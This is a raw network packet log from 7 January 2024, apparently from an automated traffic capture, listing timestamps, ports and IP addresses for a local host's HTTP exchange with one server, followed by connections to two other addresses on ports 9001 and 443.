Jan 7, 2024 05:30:11.248130083 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.248181105 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.248218060 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.248291016 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.248429060 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.248513937 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.248521090 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.248528004 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.248754978 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.290653944 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.290704012 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.290761948 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.290761948 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.294003963 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.294080019 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.294610977 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.294792891 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.294840097 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.295288086 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.295473099 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.295511007 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.295517921 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.295669079 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.295954943 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.296046019 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.296120882 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.296159029 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.296183109 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.336064100 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.336113930 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.336121082 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.336450100 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.336496115 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.336561918 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.336575985 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.336626053 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.336647034 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.336714983 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.336781979 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.336913109 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.337127924 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.337163925 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.337217093 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.337249994 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.337290049 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.337327003 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.337341070 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.337424040 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.381336927 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.381356001 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.381369114 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.381403923 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.384258032 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.384270906 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.384345055 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.384365082 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.384402037 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.384620905 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.384818077 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.384854078 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.385014057 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.385415077 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.385464907 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.385761976 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.385973930 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.386058092 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.424954891 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.425554037 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.425601006 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.425617933 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.425718069 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.425731897 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.425779104 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.425846100 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.425863028 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.425894022 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.426040888 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.426084995 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.426099062 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.426158905 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.426196098 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.426335096 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.426551104 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.426584005 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.426945925 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.465663910 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.465687037 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.465706110 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.465722084 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.465719938 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.465737104 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.465744019 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.465774059 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.469959974 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.469997883 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.470046997 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.470082045 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.470128059 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.470151901 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.470160961 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.511763096 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.511802912 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.511864901 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.511956930 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.512000084 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.512085915 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.512161016 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.512200117 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.512244940 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.512361050 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.512401104 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.512567997 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.512633085 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.512645960 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.512693882 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.512757063 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.512788057 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.512790918 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.512934923 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.512979984 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.512991905 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.513060093 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.513134956 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.513174057 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.513179064 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.513214111 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.554713011 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.554773092 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.554830074 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.554831982 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.554893970 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.554975986 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.554991961 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.559227943 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.559277058 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.559288979 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.559370995 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.559453011 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.559456110 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.559585094 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.559621096 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.560113907 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.560193062 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.560288906 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.560316086 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.560355902 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.560473919 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.694350958 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.694422960 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.694497108 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.694508076 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.694608927 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.694705963 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.694749117 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.694792032 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.694830894 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.694878101 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.695187092 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.695225000 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.695272923 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.695363045 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.695426941 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.695434093 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.695555925 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.695657969 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.695672035 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.695883989 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.696069002 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.696187973 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.696271896 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.696350098 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.696351051 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.739325047 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.739367962 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.739392042 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.739423990 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.739461899 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.739505053 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.739542007 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.739578962 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.739614010 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.739715099 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.739787102 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.739819050 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.739881992 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.740030050 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.740142107 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.740293980 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.740406036 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.740444899 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.740452051 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.740492105 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.742296934 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.742427111 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.742503881 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.742516994 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.742610931 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.742667913 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.742671013 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.742727995 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.742769003 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.778868914 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.778914928 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.779053926 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.779079914 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.779171944 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.779196978 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.779217005 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.822949886 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.822964907 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.822999954 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.826431036 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.826447010 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.826472998 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.826502085 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.826517105 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.826534033 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.826561928 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.826565981 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.826591015 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.826610088 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.826706886 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.826893091 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.826946974 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.826977015 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.826997995 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.866605997 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.866636038 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.866663933 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.866688967 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.866707087 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.866722107 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.866741896 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.866755009 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.866797924 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.909991980 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.910041094 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.910070896 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.910121918 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.910165071 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.910201073 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.913127899 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.913142920 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.913183928 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.913211107 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.913253069 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.913333893 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.913409948 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.913423061 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.913467884 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.954155922 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.954210043 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.954242945 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.954339981 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.954369068 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.954380035 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.954394102 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.954469919 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.954477072 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.954554081 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.954600096 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.998210907 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.998282909 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.998331070 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:11.998348951 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.998502970 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.998719931 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:11.998761892 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.001214027 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.001262903 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.001283884 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.001308918 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.001445055 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.001591921 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.001735926 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.001776934 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.001817942 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.002017975 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.002067089 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.002646923 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.002732992 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.002821922 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.002849102 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.002875090 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.002904892 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.042453051 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.042510986 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.042553902 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.042565107 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.042634964 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.042678118 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.042705059 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.042776108 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.042820930 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.088113070 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.088150024 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.088227034 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.088247061 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.088294983 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.088387012 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.089926958 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.090004921 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.090054989 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.090059042 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.090128899 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.090178013 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.090205908 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.090259075 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.090272903 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.090312004 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.090526104 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.090572119 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.090660095 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.090699911 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.090872049 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.130346060 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.130367041 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.130414963 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.130485058 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.130558014 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.130599022 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.130660057 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.130796909 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.130839109 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.130898952 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.130985022 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.131026983 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.131093979 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.170088053 CET	49776	9001	192.168.2.4	178.17.170.13
Jan 7, 2024 05:30:12.170643091 CET	49777	443	192.168.2.4	193.23.244.244
Jan 7, 2024 05:30:12.170685053 CET	443	49777	193.23.244.244	192.168.2.4
Jan 7, 2024 05:30:12.170741081 CET	49777	443	192.168.2.4	193.23.244.244
Jan 7, 2024 05:30:12.171020031 CET	49777	443	192.168.2.4	193.23.244.244
Jan 7, 2024 05:30:12.171031952 CET	443	49777	193.23.244.244	192.168.2.4
Jan 7, 2024 05:30:12.178085089 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.178169012 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.178215027 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.178220034 CET	80	49775	104.21.26.173	192.168.2.4
Jan 7, 2024 05:30:12.178258896 CET	49775	80	192.168.2.4	104.21.26.173
Jan 7, 2024 05:30:12.178277969 CET	80	49775	104.21.26.173	192.168.2.4
